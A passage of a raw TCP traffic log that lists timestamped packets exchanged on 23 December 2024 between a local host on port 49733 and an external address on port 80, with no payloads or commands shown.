Dec 23, 2024 17:16:56.802922964 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.802933931 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.803333044 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.803661108 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.803726912 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.803766966 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.803817034 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.804464102 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.804533958 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.804613113 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.804613113 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.805430889 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.805444956 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.805516005 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.805516005 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.806111097 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.806155920 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.806332111 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.806391001 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.807054996 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.807106018 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.807164907 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.807210922 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.807823896 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.807859898 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.807868958 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.807948112 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.808614969 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.808669090 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.808706999 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.808804989 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.809349060 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.809441090 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.809469938 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.809537888 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.810234070 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.810357094 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.810406923 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.810447931 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.810996056 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.811110973 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.811136007 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.811153889 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.811801910 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.811868906 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.811881065 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.811924934 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.812654972 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.812674046 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.813178062 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.813179016 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.813446999 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.813508987 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.813544989 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.813544989 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.814249039 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.814290047 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.814347029 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.814443111 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.815054893 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.815133095 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.815339088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.815339088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.815865993 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.815918922 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.815943003 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.816241980 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.816685915 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.816780090 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.816792965 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.816853046 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.817518950 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.817576885 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.817605972 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.817668915 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.818344116 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.818407059 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.818455935 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.818597078 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.819139957 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.819221020 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.819250107 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.819283009 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.819973946 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.820023060 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.820060968 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.820101023 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.820797920 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.820863008 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.820939064 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.821048021 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.821656942 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.821800947 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.821844101 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.821844101 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.822577000 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.822794914 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.823035002 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.823035002 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.823930979 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.824031115 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.824043989 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.824086905 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.824708939 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.824867964 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.824884892 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.825297117 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.825517893 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.825555086 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.825582027 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.825612068 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.826330900 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.826381922 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.826394081 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.826436996 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.827186108 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.827331066 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.827380896 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.827472925 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.827888012 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.827975035 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.827995062 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.828155041 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.828603983 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.828619957 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.828684092 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.828684092 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.829210997 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.829262972 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.829291105 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.829329967 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.829833031 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.829916954 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.829921961 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.829960108 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.830600977 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.830647945 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.830718994 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.830795050 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.831366062 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.831475973 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.831502914 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.831527948 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.832282066 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.832330942 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.832338095 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.832406044 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.832998037 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.833106041 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.833122969 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.833163023 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.833834887 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.833930969 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.834064960 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.834064960 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.834623098 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.834748983 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.835289955 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.835289955 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.835449934 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.835521936 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.835536957 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.835601091 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.836260080 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.836354017 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.836364985 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.836414099 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.837090969 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.837295055 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.837532997 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.837532997 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.837905884 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.838012934 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.838711023 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.838831902 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.839019060 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.839019060 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.839019060 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.839019060 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.839523077 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.839607000 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.839621067 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.839819908 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.840451956 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.840564013 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.840591908 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.840704918 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.841286898 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.841367006 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.841443062 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.841443062 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.841999054 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.842046022 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.842102051 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.842657089 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.842772961 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.843034983 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.992314100 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.992371082 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.992382050 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.992408037 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.992453098 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.992454052 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.992508888 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.992660999 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.993073940 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.993124962 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.993149996 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.993273020 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.993825912 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.993871927 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.993932962 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.993989944 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.994359970 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.994472027 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.994488001 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.994628906 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.995232105 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.995275021 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.995331049 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.995331049 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.996074915 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.996165037 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.996176004 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.996406078 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.996840000 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.996903896 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.997159958 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.997473001 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.997663021 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.997725964 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.997775078 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.997823954 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.998511076 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.998560905 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.998784065 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.998898029 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.999325991 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.999445915 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.999454021 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.999490023 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.000283003 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.000341892 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.000411987 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.000449896 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.000937939 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.001013041 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.001087904 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.001125097 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.001764059 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.001811981 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.001846075 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.001893044 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.002549887 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.002612114 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.002655983 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.002772093 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.003367901 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.003416061 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.003458023 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.003532887 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.004165888 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.004215956 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.004376888 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.004420042 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.004992008 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.005050898 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.005065918 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.005099058 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.006114006 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.006227970 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.006263018 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.006340027 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.006639004 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.006773949 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.007103920 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.007103920 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.007421017 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.007462025 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.007534981 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.007579088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.008259058 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.008344889 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.008409023 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.008409023 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.009063959 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.009180069 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.009196043 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.009223938 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.009953022 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.010015011 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.010041952 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.010305882 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.010816097 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.010833025 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.010864973 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.010881901 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.011502981 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.011630058 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.011665106 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.011727095 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.012556076 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.012576103 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.012600899 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.012618065 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.013231993 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.013276100 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.013389111 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.013438940 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.014008045 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.014049053 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.014159918 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.014220953 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.014802933 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.014962912 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.014995098 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.015044928 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.015623093 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.015681028 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.015707970 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.015750885 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.016436100 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.016485929 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.016509056 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.016922951 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.017257929 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.017302036 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.017322063 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.017345905 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.018048048 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.018117905 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.018157005 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.018157959 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.018930912 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.019031048 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.019040108 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.019188881 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.019714117 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:57.019803047 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:57.019903898 CET	80	49733	31.41.244.11	192.168.2.9
